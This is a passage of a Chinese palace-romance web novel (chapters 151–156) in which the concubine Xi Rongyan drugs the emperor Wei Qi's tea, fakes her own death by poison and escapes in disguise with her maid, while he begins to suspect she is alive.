她在屋内忐忑了许久,就当她要熬不住起身出去时,又听到身后大步跨进来的脚步声。
那脚步声很急,往她身后走来,龙涎香的味道袭来,她只觉得后背都生了一层冷汗,紧张的捏着手,
还没做出要看他的姿态来,就又觉得手臂被一只有力的大手紧紧握住,接着身子就被托到了一个坚硬的怀抱里,粗重的吻袭过来,席容烟晕头转向,紧紧捏着魏祁的腰身,要不是后背被他的手托着,就险些站不住。
唇瓣被放开后,头顶又传来炙热的呼吸,声音却冷淡:“朕只许你带一个。”
说着那双看起来有些阴沉的眸子垂下眼眸,看着席容烟:“烟儿,不许再与朕闹脾气。”
席容烟被魏祁此刻阴沉的神色吓了吓,刚才本欲在他面前哭一场的泪珠欲落不落,又理智回过神,知道自己现在应该见好就收了。
总比一个人也没有带出去的好。
好在她事先给太后留了信的。
她乖顺的点头。
魏祁捧着席容烟的脸庞,看着她眼角挂着的那颗泪珠,唯有他知道自己心里此刻的燥郁。
几乎真的克制不住自己对她的恼怒。
他不喜欢她疏远他,不喜欢她与自己闹脾气。
他更明知道她现在这么反常的提出一定要带她两个丫头,他已经心生疑虑,却还是抵不住她刚才使性子伤心垂泪的那一幕。
不受控制的向她妥协。
他总想起从前,她也总是求他,他并不是不能纵容宠溺,只是他宠溺的后果是她要逃离自己身边,他对她当真没法子。
魏祁又将席容烟紧紧按在怀里,长吸一口气。
半下午的时候出宫时,魏祁去吩咐侍卫,宝珠偷偷走到席容烟身边小声道:“刚才奴婢见到皇上在外殿渡步来回了好久,脸色也看着吓人的恨,奴婢有点害怕。”
席容烟知道应该是她从魏祁的怀里起来,魏祁忽然出去的时候。
她捏了捏宝珠的手,没有说话,只是眼神看向她,让她安心。
第151章 今夜可以住在外面么?
马车驶出皇宫,席容烟坐在马车上轻轻掀开帘子往外面看。
外面很热闹,街道上人来人往。
魏祁看席容烟一直瞧着外头,像是极喜欢这热闹,虽说是不愿带着她去人多处,但还是牵着她一起下了马车,陪她闲逛。
逛到了夜里,魏祁又带着席容烟去她说的那处酒楼。
酒楼临江而建,所以叫临江楼。
窗户打开,江上凉爽的风吹来,心旷神怡。
到了夜里,酒楼下面的江水边便站满了人,站在上面放花灯。
此刻夜幕降临,花灯连成一串缓缓顺着江水往下流动。
魏祁坐在席容烟对面,见着席容烟目光一直往下瞧,便问:“想去放花灯?”
席容烟点头,又朝着魏祁问:“今夜可以住在外面么?”
魏祁挑眉,他虽说带了席容烟出来散心,但是从来没有想过要留宿在外。
但魏祁看了看席容烟的神色,没有直接拒绝她,只是道:“朕先带你去放花灯。”
说着魏祁站起来,牵着席容烟下楼。
魏祁让人去买了两盏花灯,将其中一站递给了席容烟:“许愿么?”
席容烟接过花灯,站在江边闭上眼睛,又捧着花灯弯腰小心的放在了江水里。
魏祁问她:“许的什么愿?”
席容烟笑:“不告诉夫君。”
魏祁挑眉,又笑了笑,站在席容烟身边也放下一盏花灯。
两盏花灯一前一后,渐渐在视线中飘远。
夜风吹拂向席容烟的素发,她站在魏祁的面前,又抬头小声道:“不远的郊外有处温泉庄,夫君能带我去么?”
水里的花灯流淌,带来星星点点的光线划过席容烟的脸颊,那双分外漂亮的眼眸看着他,那细白的手指还捏在他的衣袖上,素净衣衫更衬她容貌,朱唇皓齿,乌云叠髩。
他刚才许愿,与她生生世世,让她永远呆在自己身边。
这会儿低头看她盈盈抬头,唯想她高兴,又听她要去泡温泉,眸子盈盈看他,亮晶晶的让他心头一窒。
抵抗不了她的主动亲近,他弯下腰来捧着她脸,情不自禁往她小小的樱唇上一吻,又道:“好。”
席容烟还有些诧异,没想到魏祁居然这么容易就答应了。
她的手放在身后,紧张的捏了捏,又问:“那今晚能住在那里么?”
“那里依山傍水,还能听流水,听鸟鸣,看绣球花,都是我喜欢的。”
魏祁听着席容烟这些娇俏的话,笑了笑。
他捏了捏她软嫩嫩的脸庞,点头答应。
去温泉庄的路上,因是在郊外,还有些距离,席容烟本还坐在魏祁的腿上,才坐一会儿就被魏祁给压在软垫上吻。
魏祁的反应和那呼吸席容烟再清楚不过,头被抵在马车壁上,震的她有些头晕,偏偏被他捧着脸推不开人,生生受了一会儿。
等到他好不容易放了她,她才刚偏了偏头,耳垂又被咬住,沙哑的声音带着暧昧:“烟儿,待会儿与朕一起泡。”
席容烟想着,他答应的这么快,难道便是因为这个么。
她不想再惹魏祁不高兴,敷衍的应了下来。
魏祁看席容烟偏着头,眼眸不看他,昏暗中看着她耳边那只碧玉坠落在她白净脸颊上,又捏着她下巴让她转过头来蹙眉:“就这么不情愿的敷衍你夫君?”
席容烟一哑,只好又揽着魏祁的脖子道:"哪有。”
魏祁挑眉,他这会儿一心要与她亲近,她却心不在焉,连小脸儿都偏着,这会儿又说哪有。
他捏着她的脸颊,瞧着她晏晏眉眼,又道:“待会儿去了可别避着朕。”
席容烟就忙点头。
魏祁瞧着她样子,竟觉几分可爱来,又低低笑了下,埋在她脖子上咬了咬,又手掌不安分的捏了捏。
到地方时,席容烟的衣襟早松了,魏祁给人理了理,又抱着人下了马车。
席容烟脸色酡红,深埋在魏祁的怀里,一刻也不想露脸。
去温池一切都有人先去安排好的,魏祁抱着席容烟直接去了地方,放下人后,里头白雾缭绕,席容烟看魏祁一直盯着她,又到屏风后去,让魏祁别看她。
魏祁笑了笑,知道席容烟害羞,倒是没有为难,自己去另一边更衣。
他出来的时候,已经看到席容烟居然已经泡在了里面,只露出了一张脸来。
他失笑,走过去,席容烟就马上转过了身。
魏祁笑了笑脱下敞衣过去,将人抱进怀里问:“还这么害羞?”
席容烟脸颊已经被热气熏出了红晕,她咬唇不说话,只埋首在魏祁的肩上。
这副娇态叫魏祁心里软了软,身上早已憋着一股欲望,这会儿在只有两个人的地方,他直接又吻了下去,这回没让席容烟有任何拒绝的余地,就开始攻城掠地。
一直在温泉池里泡了一个时辰,魏祁才抱着席容烟往休息的房中去。
魏祁带着席容烟和魏祁走后,宝珠才赶忙去收拾衣裳,跟着上去伺候。
席容烟发丝微微湿润,一些细发纠结在脸颊上,又被魏祁压在榻上,席容烟忙推在魏祁的胸膛上:“臣妾有些渴了。”
魏祁听罢一顿,撑了起来,看着那红润水润的唇畔,一副被欺负极了的模样,不由又有些心疼。
知道自己要的太急了些。
本是带她来她喜欢的温泉庄散心的。
魏祁吻了席容烟的额头一下,又细心替她将衣襟都拢好,哑声对她道:“等我。”
说着起身绕过屏风走了出去。
席容烟半撑着身子坐起来,没一会儿就见魏祁端着茶盏进来。
席容烟要接过来自己喝,魏祁抱着她在自己怀里亲手喂她,等到她喝了水,又抱着她去看台坐着听流水声。
潺潺的流水声在静谧的夜里能够安抚忍心,让人心静。
魏祁怀里抱着席容烟,又缓声道:“烟儿,在你六岁时,朕便注意到你了。”
第152章 给魏祈下药
当魏祁说这句话的时候,席容烟只觉得后背生了一股凉意。
她震惊的侧头看向魏祁,心乱如麻。
魏祁看着席容烟震惊的神情笑了笑:“那时候朕只是注意到你,并没有其他想法。”
“朕还记得你那时候还是个包子脸,穿着粉白色的衣裳,在你姑母身边很会说讨喜的话,坐不了一会儿,没人与你说话了,就只顾着吃了。”
“朕那时候想,你倒是个小吃包,现在瞧你,倒没那时候吃的多。”
说着魏祁捏了捏席容烟的脸蛋:“现在这脸瘦了些。。”
“不过你要是为朕生一位公主,朕希望像你。”
席容烟怔怔,又低声道:“万一是个皇子呢。”
魏祁笑:“你总不能只为朕生一个孩子。”
席容烟便问:“那生几个?”
魏祁低头瞧着人眼睛:“四五个吧。”
席容烟愣了愣,以为自己听错了,只觉得一股窒息。
她忽然想起前世里魏祁逼迫她时他对她说的话,他说他不会叫她的肚子空着,只要她能生,便让她一直生下去。
如今那噩梦般的场景仿佛还历历在目。
她紧捏着手,又僵硬的点头。
又望向夜色中零星的灯火。
树叶沙沙声分外好听,夜风也温和,分外让人觉得舒适,但席容烟此刻心中早已思绪在其他地方。
席容烟又问:“皇上明日上朝么?”
“明天是不是要早些回去?”
魏祁笑了下:“休朝一日,明日朕也可以陪你。”
“朕也可以陪你去看绣球花。”
席容烟的心里跳了一下。
在她前世的记忆里,魏祁勤政,几乎日日上朝,没有空歇的时候。
没想到现在他会为了陪自己休朝一日。
这是在意料之外的事情,席容烟侧头看向外头的夜色。
席容烟又对魏祁道:“臣妾有些困了。”
魏祁暧昧的低头:“不再坐会儿?”
席容烟看着魏祁的眼神,又摇头:“身子有些懒。”
魏祁笑,抱着人又回了榻上。
席容烟又想喝茶,打算让外间伺候的宝珠倒茶来,魏祁却捏了捏席容烟的手心:“朕为你去。”
席容烟愕然看着魏祁,只好等着。
很快魏祁端着茶过来,席容烟喝了一口,又道:“这茶清香,是莲子茶,配着荷花糕极好吃的。”
说着,盈盈的眸子就看向魏祁。
魏祁收到席容烟看来的眼神,笑:“朕为你拿来。”
席容烟看着魏祁出去的背影,手心已经出了汗。
并没有多久,魏祁就端着荷花糕进来,席容烟拿了一块咬了一口,又红着脸送到魏祁的唇边:“夫君也尝尝,只这里才有这种味道。”
魏祁看着那被咬了小小牙印的地方,又看席容烟红晕的脸庞,再听她那一声夫君,心里一热,低头就着她咬过的地方咬了一口。
席容烟又将茶送到魏祁的唇边:“夫君再配着这茶吃,可好吃的。”
那玉白的手指就送到了自己面前,是席容烟少见的有这么主动的时候。
此刻烛光昏色柔美,榻上人雨意春情,还带着春情过后的余韵,那双眼眸里尽是他的模样,是魏祁索求许久的东西。
他想,这么与她一生一世也是极好的。
虽说他依旧不确定她心里是不是真的已经忘了顾韫玉。
魏祁低头,喝了一口。
席容烟看还剩下一半,又送过去:“再喝一口吧。”
魏祁挑眉看着又送到面前的茶盏,却没有再喝。
席容烟心里有一些慌,她镇定的将茶盏拿开,放去了一边。
放的时候她的手指微微一颤,茶水溅到了手上,她紧了紧手。
魏祁看着席容烟动作:“你不吃了?”
席容烟回头看向魏祁:“我有些话想与你说。”
魏祁动了动眼眸,伸手想将席容烟抱进怀里,但席容烟却退了退,推开了魏祁的手。
魏祁手上的动作一顿,垂下眼帘看着席容烟,眼里的浓墨黑下去,他抿了抿唇,放下手,问她:“烟儿要说什么?”
席容烟的心里狂跳。
她努力让自己的心境平复,又直视着魏祁的眼睛:“我都想起来了。”
“我梦到的那些梦境,都不是梦,都是真的。”
魏祁缓缓坐直了身,目光扫过手上的那碟荷花糕,放在了一边,又看向席容烟:“你刚才给朕喝的茶水里下了药,是么?”
席容烟要来这处温泉庄,魏祁便早早就派人来打点好了一切,屋子内的所有陈设吃食,都是他的人一一检查过安排好的,不会有任何差错。
唯一的差错是刚才他出去为席容烟拿荷花糕,他没看见她做了什么。
席容烟在他喝下那杯茶后荷花糕也不吃了,便说要与他说话,那就是茶水有问题了。
他此刻不知是什么心情,相反,他半点不怪她。
或许在席容烟第一次梦醒后害怕他时,他就知道这一天终于会来的。
前世里她觉得是自己害了她的孩子,那个横在他们两人之间的误会一直也没有解开过。
她直到死的时候都在怪他。
她甚至用死来惩罚他。
席容烟震惊魏祁居然这么快就发现了那茶水里有问题。
她镇定的真想要开口,对面魏祁的声音又缓缓响起:“那茶水里是毒药么?”
席容烟听了魏祈的话一愣,又摇摇头。
这屋子里只有她和魏祁在,她没有那个勇气弑君,连累整个席家。
魏祁敛目,神色很平静:“即便是毒药,你想要朕死,朕也不会怪你。”
他说完话,高大的身躯晃了晃,又伸手撑在床沿上,敞衣滑落,精壮的身躯露出来,长发也散落下来。
席容烟看着魏祈手臂上因为用力紧绷起的青筋,密密麻麻看起来格外骇人,不由颤声从床边站起来,又眼睁睁看着魏祈的身体支撑不住药效倒下去。
她往后退了一步,视线对上魏祈看来的眼神,她不敢看他,心里颤颤,眼眶发热,又往他面前走了一步。
她蹲在床边红着眼眶看向魏祈,声音沙哑:“我没给你下毒药,我给你下的是蒙汗药。”
“蒙汗药是从皇后那里得到的。”
“我骗丽妃,让她去找皇后拿蒙汗药来对付我,我要抓皇后的把柄,丽妃信了我,也为我从皇后那里拿到药了。”
“我那天给你的只有断肠草,我将蒙汗药另外藏起来了。”
“那蒙汗药我藏在我的簪子里,你刚才去为我拿荷花糕的时候我就全放进茶水里了。”
“蒙汗药我昨天找太医特意看了,太医说这药对身子没伤害,只是会昏睡一日,醒来就好了。”
“我下了很多,所以你别动,你明日就会醒了。”
“你别怪丽妃,她什么都不知道,她也被我骗了。”
说着席容烟又起身,重新去拿了茶盏倒了一杯茶来。
她再蹲在床沿边,将茶盏放在床沿上,又从袖口里拿出一个小布包来,在魏祁的面前打开。
席容烟垂着眼帘,从布包里拿出两片茶叶放进茶水里,又低声道:“丽妃给我的断肠草我也没有全部给你,我自己留了一些。”
“我们之间的恩怨就这样不亏欠了。”
“但过去的事我忘不掉,我也没法子呆在你身边,你放过我,我也不恨你了。”
第153章 逃走
席容烟端着茶盏看向魏祁通红的满是血丝的眼睛,看着他满身是汗的伸手过来要拿走她手上的茶盏,又因中了药无力的下坠,又再往上抬。
席容烟默了默神情,伸手按着魏祁的手轻声道:“你别动,你听我将话说完,你很快就要睡过去了,你再动便听不了我说话了。”
“我死了,你也别再杀无辜的人了,更也别怪丽妃,她虽说帮我也是为了保命,但在后宫里,她也没有对我有过坏心思。"
“还有你后宫那些嫔妃,你前世将她们都赐了毒酒,孽业也算在我的头上的,我怎么安心。”
“我的丫头还在宫里,走前我给她留了信,让她找太后送她出宫去我母亲那里,你别迁怒她,她也什么都不知道。”
说着席容烟低头眨眨眼睛,掩住眼眶酸涩:“前世你害死了我的盛儿,这一世你又害死了韫玉哥哥,我再留在你身边,我心里不安心。”
“我不想怪你了,死去的人也再也活不过来,我也不想再去想起,我只求你在我死了别再伤害其他人。”
说着席容烟顿了一下,泪水落入茶水里,她看着茶水,又没有丝毫犹豫的低头去喝茶盏里的茶水。
只是她才喝到一半,面前的茶水被打翻,手背上落下几滴鲜血,她震惊的抬头。
只见魏祁面色恐怖,眼底血腥,唇边溢出几丝血丝来,一只手紧紧抓着她的手腕,声音发抖:“容烟……快吐出来……”
“快……”
席容烟没想到魏祁居然还有力气。
太医说那蒙汗药药性很猛,寻常人只要吃一点就会倒地不起,她刚才将药粉全都倒进了茶里,是普通人的四五倍的量,魏祁早就该半点力气没有才对。
更不可能还有力气说话。
好在那握在她手腕上的力气并不是很大,她用力挣了挣便挣脱开了。
又怕魏祁喊人,席容烟忙从衣上撕了一块布缠在魏祁的唇上,手指和声音都在发颤:“那断肠草太医说只需要一口就回天乏力了。”
“我吃了一半,绝对不能活的,顶多还能活半个时辰。”
“现在我肚子已经发疼了,但我不想死在这里。”
“魏祁,趁我现在还有些力气,你放我找个清静的地方死。”
手指上的死结缠好,席容烟又看着魏祁:“我不想我们有下一世了,我希望我们生生世世都别再遇到。”
她又深吸一口气:“我死前唯一只求你再别乱杀人了,你让我安安心心别背杀孽的死。”
“你也别找我,我想一个人。”
说着席容烟站起身,头也不回的往前走。
她才刚起身,手臂又被魏祁抓住,那手背上青筋乍现,魏祁的眼底更是骇人恐怖,她听不清他口中再说什么,只是胆战心惊的退了退,又用力甩开魏祁的手走了出去。
她才走过屏风,便听到身后巨大的声响,她回头,是魏祈从床榻上翻了下来。
她看见他呕出了血,血红的眼睛却一直看着她。
席容烟被看得心里发慌,退了退,狠下心一转身就走了出去。
外间的宝珠早就在胆战心惊的等着席容烟出来了。
刚才她也听到了里头的动静,吓得此刻脸色也是惨白的。
席容烟捏了捏宝珠的手,不多说一句话,穿好衣裳拉着宝珠就往温池的方向走。
这处温泉庄依山而建,温泉都是天然温泉池,再由温泉池修建房屋。
这间屋子席容烟和大哥曾带她常来,里外分了三四间屋子,有泡温汤的池子,还有茶室,外间,寝屋,净房。
在温泉池外就是高山,流水从上面流出来。
但席容烟知道窗外的悬崖下还有一条小路,席容烟从前小时候见到松鼠,好奇去追的时候发现过。
那条小路有些绕,但能绕到后门去。
席容烟也知道这里里里外外都有魏祁的护卫把手,但那条小路他们定然是不知道的,现在天色黑漆漆的,正好也是掩饰。
宝珠也走过这条小路,虽说看不太清,但凭着记忆走还算有些顺。
两人一路快步走摸到马厩处,席容烟偷偷牵了一匹马出来,宝珠不会骑马,席容烟就拉着她坐在自己身前,她心跳如鼓,只觉得此时此刻脑中无比清醒,就是要尽快离开这里,就什么害怕都没有了。
只有冷静。
她忽又想起魏祈刚才呕血的样子,她咬咬牙不让自己想,很快有人会发现他的。
她一扬马鞭,从后门骑马消失在夜色中。
宝珠害怕的紧紧抱着马脖子,颤抖的问:“主子,我们去哪儿?”
席容烟并没有确定一定要去哪一个地方,虽说她之前的打算是往西边走。
但现在她的想法是先跑的离京城越远越好。
她知晓魏祁并不是那么好骗的,或许他也能发现什么蛛丝马迹。
刚才她听到身后的动静却不敢回头看,害怕一回头就被魏祁抓住。
她现在只希望魏祁相信她真的死了。
那布包里的确都是泡过断肠草的茶叶,但席容烟在去倒茶时就在指间藏了另外的茶叶,对着魏祁用了障眼法而已。
她还没忘走的时候将被魏祁打翻在地上的茶叶捡起来,在与魏祁说话时,挡住他的视线换上有毒的茶叶。
她额头上同样布满细汗,在盛夏燥热的夜色中狂奔,手上隐隐传来的血腥味提醒着她,即便她给魏祁下了蒙汗药,魏祁也不一定真的第二日才有力气。
她还没有逃脱魏祁的手掌。
宝珠被狂奔的马匹吓坏了,从前从来也不知道主子骑马这么历来。
她却不敢惊叫,捂着唇,又护着怀里的东西。
另一边的温泉庄,此刻魏祁半跪在地上,强运力气撑着床沿起身,又倒了下去,口中又溢出一丝血迹。
不小的动静还是惊动了守在门外的高公公。
今夜皇上要和宸妃娘娘宿在这儿,这会儿的动静难道是……
他也不敢喊,又犹豫了一阵,只听到里头一声茶盏碎裂声,高义心里一凛,连忙朝着里面问:“大人。”
却始终没有回应。
高义想着宝珠在里头伺候,又忙小声喊宝珠,依旧也没人应。
他隐隐觉得不对,小心的推开门,便听到里头粗重的喘息声,和低低喊来人的声音。
高义一慌,赶紧往里间走,便看到皇上只穿着白色单裤裸着半身半跪在地上,正用瓷片捏在掌心里,撑着凳子要站起来。
第154章 呕血
浓重的血腥味传来,魏祈为了清醒,手掌全都是瓷片划出来的血。
这样的场面吓得高义一下子扑跪在魏祁的面前,冷汗淋淋的喊:“皇上怎么了?”
魏祁全靠着疼来让自己不昏睡下去,他手掌紧紧按在高义的手臂上,咬着牙虚弱道:“朕中了蒙汗药,不用声张,去叫太医。”
高义赶紧点头,正准备出去叫人去喊时,那只放在他胳膊上的手依旧没有松开的意思。
又听魏祁喘息着低低的声音:“宸妃被人劫走,去找她,不许透露出消息。”
“透露半个字,都是死罪。”
高义颤了颤,赶紧应声出去。
太医匆匆赶来的时候,见到魏祁手上的血迹时吓了一跳,听说中了蒙汗药,又赶紧去开解药。
只是他刚才把脉,看皇上的脉象想着那药应该下的不少,皇上居然现在还有些意识,要是换成了别人,早就不省人事了。
等到解药熬好,魏祁喝了药,缓了许久,身上的力气才渐渐恢复。
他撑着床沿想要站起来,太医赶忙上去扶着:“陛下刚吃了解药,这时候还不宜大动,还要再等一个实时辰,身上才能完全恢复的。”
又道:“这蒙汗药本来并不伤身,只要修养一会儿就好,要是皇上现在大动,伤了经脉,恐怕伤身啊。”
“刚才臣妾给皇上把脉,皇上的经脉已经不稳,要是再……”
他话还没有说完,在看到魏祁阴沉看来的眼神时,生生止住。
魏祁的目光放在仍旧静静放在枕边的布包,他缓缓指上去:“看看这里面是什么?”
太医不敢耽误,连忙上前仔细查看。
查看后他脸色一变,连忙朝着魏祁道:“这里面是浸泡过断肠草的茶叶。”
他的话才落下去,面前便落下沉沉的阴影,再抬头,竟看到皇上踉跄的起身撑在床柱上。
那脸色阴沉骇人,布满血丝的目光紧紧看着地上被他打落下来的茶水,那手指已不可控制的抖了抖:“地上的茶水,有没有毒。”
太医浑身都落着冷汗,皇上此刻的模样吓得他不敢多看,连忙又去查看地上残留的茶水。
他趴下去闻了闻,又找到了地上的一片茶叶,此刻他甚至不敢抬头,垂首颤声道:"茶水里也有断肠草的毒性,不过刚才微臣给皇上把脉,并……"
他话说到一半,就只觉得面前掠过一阵风,再抬头的时候,面前已经没有人了。
他匆忙回过头,在屏风后,只看到一道踉跄的背影。
魏祁抓来门口的侍卫问,没有见到人出去,那席容烟便不是从门前走的。
高义又匆忙过来对魏祁道:“宝珠也不见了。”
魏祁草草系腰带的手一顿,又问太医那断肠草的毒性症状。
黑色常衣穿好,他冷声吩咐侍卫从山庄八方去找人,又环顾屋子,往温泉那里走。
要是席容烟真的中了药,她定然是走不远的。
魏祁此刻只有一个念头,那就是找到她。
无人看见他隐隐发抖的手指。
他站在温泉边,看着温泉屋内窗外的高山,那窗户从内合上,现在被打开,显然席容烟是从这里走的。
魏祁想也不想的过去翻身出去,又叫侍卫送来火把来。
火把照亮了漆黑的夜幕,外面是狭窄的通道。
侍卫适时的声音响起:“两边都守了护卫,这里上去是峭壁,所以没人把守。”
魏祁沉默的抬头往上看,便看见一条荫蔽的小路,在松树林间若隐若现。
他想也不想的上去,沿着小路往前走,直到走到后门。
魏祁记得席容烟说过,这里是她兄长常带她来的地方。
又望一眼远处,魏祁翻身上了马,让侍卫从这里出发去找人。
月色暗淡,马蹄声所过之处照亮一片。
直到魏祁的马匹停在一处悬崖前。
那悬崖下的树下,正挂着一片素色衣角,仿佛是席容烟在告诉魏祁,这是她最终选择安然落幕的地方。
身子几乎是跌下马的,他摇摇欲坠的走到崖边,看着那衣角,又听着山崖下翻滚的流水。
身形隐隐不稳。
他只觉得喉间一股甜腥涌上来,前世那一股失去她的心疼又袭了过来。
他撑着气力,是为了找到她,不管她愿不愿,他都不会让她独留在荒野里。
大不了他再用巫术与她再来一世。
他迈开步子往前走,看着那在夜风中飘荡的衣角,伤恸难忍,眼前一黑,呕出了一大口血,接着栽倒下去。
而席容烟整夜狂奔,身子全然好似不觉得累一般,只知道往前走。
在天色渐渐要天明的时候,坐在身前的宝珠白着脸虚弱道:“主子,我不行了。”
席容烟才想起宝珠自来没有怎么骑过马,奔波一夜了自然受不住。
天色微微泛白,万物从沉睡中渐渐醒来,入目之处是一片山林,远处依稀有处小镇。
席容烟没有走官道,她在夜色里狂奔心里也是害怕的,就怕路上遇见强盗,所以一刻也不敢停。
现在周遭无人,她反而心安。
从马上下来,席容烟扶着宝珠下来。
宝珠才一下来,身子就软了,软绵绵的趴在地上,不住干呕。
其实席容烟也好不到哪里去。
她历来怕颠簸,骑马一夜,她胃中也翻滚,不过是心里的那股急于逃脱魏祁掌心的急切让她强打精神。
她替宝珠顺了顺后背,又往周遭看了下,听到流水声,便去用树叶给宝珠捧了一些水来。
宝珠喝完看着席容烟便哭:“本该奴婢照顾主子的,现在却要主子照顾奴婢。”
席容烟让她别说话,又喂了她些水,等她喝完了才道:“现在别说这些,你跟我是我连累了你。”
其实席容烟要是按照往常,自己骑马一夜,她定然是身子受不住的,但她现在心里惶惶,一刻也没有安心过,脑中不能被魏祁抓到的念头让她丝毫疲惫感都没有。
更让她无比镇定冷静。
她知道,她要是被魏祁找到,按着他前世那般对自己,那对自己来说,无疑是承受不起的。
第155章 察觉出一丝不对
席容烟牵着马去溪边喝水,又系在树上让它也休息会儿吃草,接着她走到宝珠的面前。
席容烟跪坐在宝珠面前低声道:“待会儿我们得去前面的镇子,”
“但是我们不能这样去,我们身上的衣裳有些招眼。”
宝珠身上虽然是宫女的服饰,但也是绸缎,上头的刺绣也是极好的。
况且宫女服饰太醒目,要是魏祁找到这里,轻易就能让他发现端倪。
宝珠看了看身上,虚弱的问:“那怎么办?这里也找不到其他衣服换了。”
席容烟便指着前面的小溪:“用泥盖住身上衣裳的颜色图案,暂时也只能这样了。”
“等去镇子里再买一身衣裳。”
说着席容烟取下身上的耳坠首饰。
宝珠觉得主子现在十分有主意,连忙也跟着去取首饰。
席容烟问宝珠:“我交给你的东西,带好了么?”
宝珠连忙从怀里将两个荷包拿出来放到席容烟手上:“都带着的,主子给的两袋金豆子,全都在这儿。”
这些金豆子都是当初进宫母亲给她的,让她在后面在宫里打点下人和行方便用。
满满两袋子的金豆子,要是再当了首饰,找个小城买个宅院安稳住下来,不成问题。
耳边又传来宝珠的声音:“奴婢还带着奴婢的积蓄和一些碎银子,金豆子有些招眼了,碎银子正好。”
席容烟默默握紧了宝珠的手。
她又看着宝珠:“宝珠,往后别再外尽量别叫我主子,你叫我公子。”
宝珠一愣:“公子?”
席容烟点头:“我们两个女子行路不方便,先这么叫着,记住了吗?”
宝珠连忙点头。
席容烟等宝珠休息好了就带着她去溪边将湿泥往身上的衣服上抹。
两人抹了半天,宝珠往席容烟身上一看,活脱脱一个泥人。
又见席容烟又去撕裙摆,撕的破破烂烂,她咋舌:“主子这是做什么?”
席容烟看向宝珠:"装成乞丐便没人主意了。"
宝珠赶紧跟着席容烟做。
两人这番收拾,身上灰扑扑全是泥污,早看不清衣裳原来的颜色。
席容烟又叫宝珠给她头发束成男子的,接着又往脸上抹泥。
宝珠怔怔看着,别说这么瞧着,要是再拿个碗,真是那么回事。
但她记得从前主子最是喜欢洁净,如今竟然能做到这个地步,难道主子就这么想离开皇宫么?
明明皇上对主子那样好。
她想不明白,却知道跟着主子做,连忙也效仿起来。
两人这样一抹,又互相看了看,几乎都看不出原本的样子了。
席容烟这才放了心。
这时候天色早已大亮,席容烟带着宝珠骑马往镇上去。
镇子并不大,不过才两条街,但今日许是赶集,镇上的人不少。
席容烟带着宝珠往路边走,路过的人往她们身上看两眼又皱眉离远些,显然真将两人当成了叫花子。
铺子里传来混沌的香味,宝珠咽了咽口水,走在席容烟身边,小声道:“公子饿不饿?”
席容烟知道宝珠饿了,从小就嘴馋。
她让她去买混沌,又让她装哑巴。
宝珠明白过来席容烟的意思,赶忙过去比划。
那小二看了一眼宝珠,嫌恶的摆手:“滚滚滚,哪来的叫花子。”
宝珠委屈的走到席容烟面前,席容烟安慰她,至少两人现在的样子是成功的。
席容烟让宝珠拿了碎银子出来,指着馒头,比划了几下,那掌柜的就明白了,给席容烟数了四五个馒头,看她手太脏,就用纸包着,又找了一些铜钱给她。
这时候也没什么可挑的,宝珠拿到馒头便啃起来,席容烟找到个角落处,虽说没有什么胃口,也吃了一大半。
两人吃完,又去成衣铺买了两件男子的粗布麻衫,找了地方换下来,又将换下来的衣裳烧毁了,这才抱着新买的干粮去找马车。
好在有银子还是好使的,那车夫一见着银子,便爽快的应了。
车夫问席容烟去哪儿,席容烟从树枝在地上歪歪扭扭的写下:“南边。”
“找亲戚。”
那车夫问:“那我载你们去哪?”
席容烟又写:"说停就停。"
车夫怪异的看了两人一眼,但看见席容烟手上的银子,又扬鞭赶路。
另一边的皇宫内。
魏祁醒来的时候已经是正午后。
他头疼欲裂,榻前跪着太医和太监。
高义见着魏祁醒来,连忙让太医过去。
魏祁撑着头,体内沸腾着疯狂想要杀人冲动,让他脑中一片繁杂混乱,几乎控制不住身体。
他在席容烟面前克制情绪太久,许久没有放纵过了。
席容烟……
魏祈指尖一抖,起身一脚踢开太医,让屋内的人都退下去,让侍卫进来。
他撑着起身,站在窗前,手指紧紧捏着窗沿,听着进来的左军中尉小声的回禀:“属下带人从温泉庄四周搜了一夜,也没有发现宸妃娘娘的身形。”
“不过那马厩中少了一匹马,我们在官道和周遭小道也搜索过,都有马蹄印的痕迹,但分不清到底是往那个方向去的。”
“宝珠也没有找到。”
说着他小心看了一眼魏祈长发披泄一身阴沉的样子,心里也紧张了一下,又小声道:“还有那悬崖下面不好下去,属下让人尝试了几次也下不去,已经让人绕路看能不能找路下去了。”
“估计要明日才能传回来消息。”
说着他跪下去,对着那尊贵的背影声音一抖:“属下失职,请皇上责罚。”
他是跟着魏祈从北地回来的,他太知道魏祈发怒后的手段了。
魏祁高大的身影微微佝偻,看着窗外,身体微晃。
闭着眼细细想昨夜的事情,他忽然察觉出一丝不对。
昨夜他从山庄过来骑马到悬崖处至少用了半刻多钟,昨夜太医说那茶叶早已浸泡得全是毒性,即便只泡了两片,喝了半盏茶,最多也只能坚持小半刻就会腹痛难忍,脏腑绞痛吐血。
小半刻的时辰,即便席容烟骑马,也到不了这里的。
他神色一顿,叫高义去将那包药拿来。
又让侍卫去领一名死囚来。
死囚很快被领了过来,被侍卫压着跪在了魏祁的面前。
他的脖子被一双手压的极低,眼神只能看到面前的一双黑靴,和周遭肃冷的气氛让他心底微微发抖。
连眼皮都不敢抬。
魏祁端着茶水,往里面放了两片茶叶。
稍微等了等,就让高义拿去送到那死囚的面前,让他喝下去。
高义接过来对那死囚低低道:“只要喝了半盏,皇上就饶了你死。”
那死囚听了这话,连片刻都不愿耽误,连细想都不曾,就急忙接了过来,急促的喝了一半。
魏祁动了动手指,让按着他的人松开,垂着眉目,静静看着面前的动静。
只见那死囚不过才过了片刻,便腹痛难忍的捂着肚子在地上翻滚,嘴里的痛苦叫声让屋内的内侍都吓得退了退。
不过还不到半刻,那人口中就吐出鲜血来,又挣扎了一会儿,完全死去。
第156章 他宁愿她骗他。 她活着就好
魏祁静静看着那一动不动的尸身半晌,摆手让人将他的尸体拖出去,又缓缓的闭目靠在椅背上。
他冷静下来,开始细细想昨夜的任何细节。
席容烟吃了药,还与他说了些话。
她还带走了宝珠。
那窗外的那条小道路狭窄崎岖,按着刚才那幕,算起时辰来,她至多走到小路一半就会腹痛难忍。
男子尚且滚地痛苦,她却走完了小道,牵走了一匹马,带着宝珠走了。
那悬崖处即便他骑马过去也要大半刻,那个时候席容烟该是撑不住了才对。
她绝不可能能够骑马到那个地方。
断肠草便是让脏腑迅速腐烂,她即便能骑马,那样的疼,她也不可能不从马上摔下来。
那悬崖上树枝挂着的那一块衣料,落在横生的树冠处,席容烟中了毒,更不可能跳那么远。
那片衣料,更像是扔下去飘到那里去的。
如果她真的死了,她走不远,他昨夜定然也能找到她身体。
宝珠不会骑马,即便她要带走席容烟的身体,死人的身体比活着重了一倍,她根本带不走。
